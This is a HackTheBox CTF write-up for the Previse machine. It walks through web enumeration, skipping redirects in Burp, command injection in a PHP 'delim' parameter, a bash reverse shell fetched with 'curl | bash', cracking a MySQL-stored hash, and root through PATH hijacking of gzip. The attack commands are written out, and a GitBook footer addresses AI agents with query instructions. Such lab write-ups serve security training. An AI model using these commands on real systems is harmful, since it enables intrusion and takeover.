> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/previse-hackthebox-writeup.md).

# Previse HackTheBox Writeup

Previse HackTheBox Easy Linux machine writeup covering Web Enumeration, Execution After Redirect (EAR) Vulnerability - Skipping Redirects, PHP Source Code Analysis, Command Injection (RCE), with pract

{% embed url="<https://app.hackthebox.com/machines/Previse>" %}

{% hint style="warning" %}
**Skills:**

* Web Enumeration
* Execution After Redirect (EAR) Vulnerability - Skipping Redirects
* PHP Source Code Analysis
* Command Injection (RCE)
* Information Leakage
* Database Enumeration
* Cracking Hashes
* Abusing Sudoers Privilege + PATH Hijacking (Privilege Escalation)
  {% endhint %}

## Reconnaissance

**Workspace Setup:**

Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0ab76fd87dfc8c286d2e969a604d33b511bb7818%2F%7BFC9269CB-2D1E-46F4-8370-504AE252A1E3%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN Connectivity Check**

Check VPN connectivity to ensure stable communication with the target machine.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-482fd59584a948b111cd5210eccf0d966e55b767%2F%7BC89EC2B0-B6C0-4C4B-ACC1-ED9D83BF5513%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Open Port Discovery with Nmap:**

Enumerate open ports and export the results to the "allPorts" file in the Nmap directory:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.104 -oG allPorts
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a125d5b59f74d3c7e17807385ec48c59e573083f%2F%7BC476CFCE-45CE-46A0-A17A-32CBC5275715%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Port version scan with Nmap 22.80:**

Use Nmap to scan service versions and save the output in the "targeted" file:

```bash
nmap -sCV -p22,80 10.10.11.104 -oN targeted
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-486df0d41ec87ec14ee926fe0129583a10c44684%2F%7BFEE26871-2520-47A6-BE7B-AD85467BEE01%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Port 80 - HTTP

We find a login page requiring a login and password.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3f2e541a8e0b97e1bf6421992b0a91822bb2bb37%2F%7BF19156B0-3E6B-4285-BCD0-055EA349DA4F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **Fuzzing PHP directories and files**

Given the presence of a PHP file, it is likely that there are others:

```bash
gobuster dir -u http://10.10.11.104/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -x php
```

## **Vulnerability EAR (Execution After Redirect) - Skipping Redirects**

We find several pages containing content but redirecting to the login page.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-82f00fb122b191a104fc65f1b31f75c5e123371a%2F%7BDE9EB251-F497-4B5B-8B57-57F5F339AB9A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

We intercept the request at `nav.php` with Burp Suite and observe a 302 redirect.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7e3b6cda10d20218616b14a16f710d911217df8e%2F%7B3FFCB145-3398-41F5-8E73-545514CC0E36%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

By forcing the response to `200 OK`, we go directly to the `accounts` page.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fc010e5920792256f07365d94ffe7e83548d6c69%2F%7B9EFBABA3-3B7E-4293-A5D9-27D85800B3E0%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cafa324be52588a9ec4c5235a2af6e1bcdeb8e65%2Fimage%20(652).png?alt=media" alt=""><figcaption></figcaption></figure>

We create a rule in Burp Suite to automatically change `302 Found` responses to `200 OK`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5d3c4318030f092dfd2e558143980dfe2c533889%2Fimage%20(654).png?alt=media" alt=""><figcaption></figcaption></figure>

We then create a user `jordan` and log in.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b1f889a0b2c1119daccbea4136e629b40626e14e%2Fimage%20(655).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Analysis of recovered files**

We download a file found on `/files`:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0a1d995e89a522c5e2dd09372c0bb9fab2484020%2Fimage%20(656).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
unzip siteBackup.zip
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-77712ec0b532c42bff3c90052dc90802773ba6c6%2Fimage%20(657).png?alt=media" alt=""><figcaption></figcaption></figure>

We find several PHP files and observe that `logs.php` uses the `exec()` function without any validation:

```bash
$output = exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}");
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2b482ce3d62bbf09b25db963e759ddb552cb5c93%2Fimage%20(659).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Command Injection Exploitation (RCE)**

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3ad1b9c6c529802dec94d730ca30223166611ec4%2F%7BEBF128BE-7EE2-48A5-B5B0-F293CF9B9F65%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

We intercept the request to `file_logs.php` and inject a command via the `delim` parameter:

<pre class="language-bash"><code class="lang-bash"><strong>delim=comma;curl http://10.10.14.50
</strong></code></pre>

We receive a connection.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-77752a111dbc97d93fcbb150756383609e37beec%2Fimage%20(660).png?alt=media" alt=""><figcaption></figcaption></figure>

### Reverse Shell

We create a `index.html` file containing:

```bash
#!/bin/bash 
bash -i >& /dev/tcp/10.10.14.50/443 0>&1
```

We launch a Python web server:

```bash
python3 -m http.server 80
```

We listen to our machine on port 443:

```bash
nc -nlvp 443
```

We run the following command to recover the reverse shell:

```bash
;curl http://10.10.14.50  | bash
```

We are now user `www-data`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f2aa8517ae0240f1063c1db627f6fe46282341a0%2Fimage%20(661).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Shell Improvement**

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### **Privilege Escalation**

### Pivot to user m4lwhere

We find a file containing credentials:

* $user : root
* $passwd : mySQL/\_p\@ssw0rd!:)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6045d3f001ab3d9314e0300c7be49c3afe9ab225%2Fimage%20(662).png?alt=media" alt=""><figcaption></figcaption></figure>

We connect to the MySQL database:

```sql
mysql -u root -p
```

We list the databases:

```sql
show databases;
```

We find the base `previse`, which we use:

```sql
use previse;
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3967f88e12298d305b1ff0c57b637773a7b6f4d5%2F%7B94917894-50B8-4782-BF6D-1DD99247FE2E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

We explore the `accounts` table:

```sql
show tables;
describe accounts
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6982a079ac877fb18ea72b3b7f4b337a124998ad%2Fimage%20(663).png?alt=media" alt=""><figcaption></figcaption></figure>

We find:

```sql
select username, password from accounts;
```

* username: m4lwhere
* password: $1$🧂llol$DQpmdvnb7EeuO6UaqRItf.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6dc7ba61e218d6fc0574067791c7c7a85ceb0249%2Fimage%20(664).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### **Hash Cracking**

We use Hashcat to decrypt it:

```bash
hashcat -a 0 -m 500 hash /usr/share/wordlists/rockyou.txt
```

Password found:

* password : ilovecody112235!

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f84ac24d207b236a976103908ca982f82a21b854%2Fimage%20(665).png?alt=media" alt=""><figcaption></figcaption></figure>

We log in as `m4lwhere`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f146ffb8fc9b3c271dffddb6e57f77ebfc107688%2Fimage%20(666).png?alt=media" alt=""><figcaption></figcaption></figure>

### Flag user.txt :)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1bffdc906aa75a578c43d73a0d933eca16fcd3c7%2F%7BCA605DAA-900C-4943-A489-532AAE7157AB%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### **PATH Hijacking (gzip)**

We list the sudo permissions:

```bash
sudo -l
```

We find a script executable as root using `gzip` without an absolute path.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-803a38118d428ceb6b3e2ba243fa89684001b646%2Fimage%20(667).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Creating a malicious binary**

We create a malicious `gzip` file in `/tmp/`:

```bash
chmod 4777 /bin/bash
```

We modify the `PATH` variable to prioritize `/tmp/`:

```bash
export PATH=/tmp/:$PATH
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0c50c2363e851b9081871d04eeba7670e8935eea%2Fimage%20(668).png?alt=media" alt=""><figcaption></figcaption></figure>

We run the script as root:

```bash
sudo /opt/scripts/access_backup.sh
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c0abfe4727c3e6362c49afe5d0f1d8ea504ae58c%2Fimage%20(669).png?alt=media" alt=""><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9287a85975dddca4e4dd20b02d5b000730539cb4%2Fimage%20(670).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a3c7e9ff2d8c16727aef3522fcebc0fbb2fc748c%2F%7B602D6D2C-0552-4E1F-8CC6-AE0C3846B2BF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/previse-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
